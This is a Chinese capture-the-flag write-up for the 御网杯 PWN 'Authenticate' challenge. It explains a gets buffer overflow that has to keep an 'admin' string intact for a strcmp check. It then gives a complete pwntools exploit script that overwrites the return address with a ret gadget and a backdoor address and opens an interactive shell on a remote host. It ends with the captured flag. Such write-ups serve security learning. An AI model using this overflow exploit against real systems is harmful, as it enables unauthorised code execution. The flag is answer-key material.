205 字
1 分钟
御网杯 PWN Authenticate
题目附件截图:



解题思路:
- 溢出点在
gets - 覆盖时会影响到
buf段 buf段做了strcmp,必须让内容为admin,否则不会继续走到目标分支- 64 位下构造返回地址时要额外注意栈对齐
原始 WP 中给出的 exp 如下:
from pwn import *
context(os="linux", terminal=["cmd.exe", "/c", "start"])
binary_path = "./pwn"host = "47.99.147.34" # 网址port = 12911 # 端口
elf = ELF(binary_path, checksec=False)context.binary = elf
if elf.bits == 64: context.arch = "amd64" gdbscript = """ b *main c """else: context.arch = "i386" gdbscript = """ b *main c """
context.log_level = "debug"
if args.REMOTE: io = remote(host, port)else: io = process(binary_path)
def p(): pause()
backdoor = 0x4011F6ret = 0x40101A
io.recv()io.sendline(b"admin")io.recv()
offset = (b"A" * 0x40 + b"admin\x00").ljust(0x80 + 8, b"\x00")payload = flat([offset, ret, backdoor])
io.sendline(payload)io.interactive()后续截图:



原始记录中的 flag:
flag{2af49daf839824cb86e934be4fde1f96} 御网杯 PWN Authenticate
https://alf-ovo.cn/posts/yuwangbei-2026-pwn-authenticate/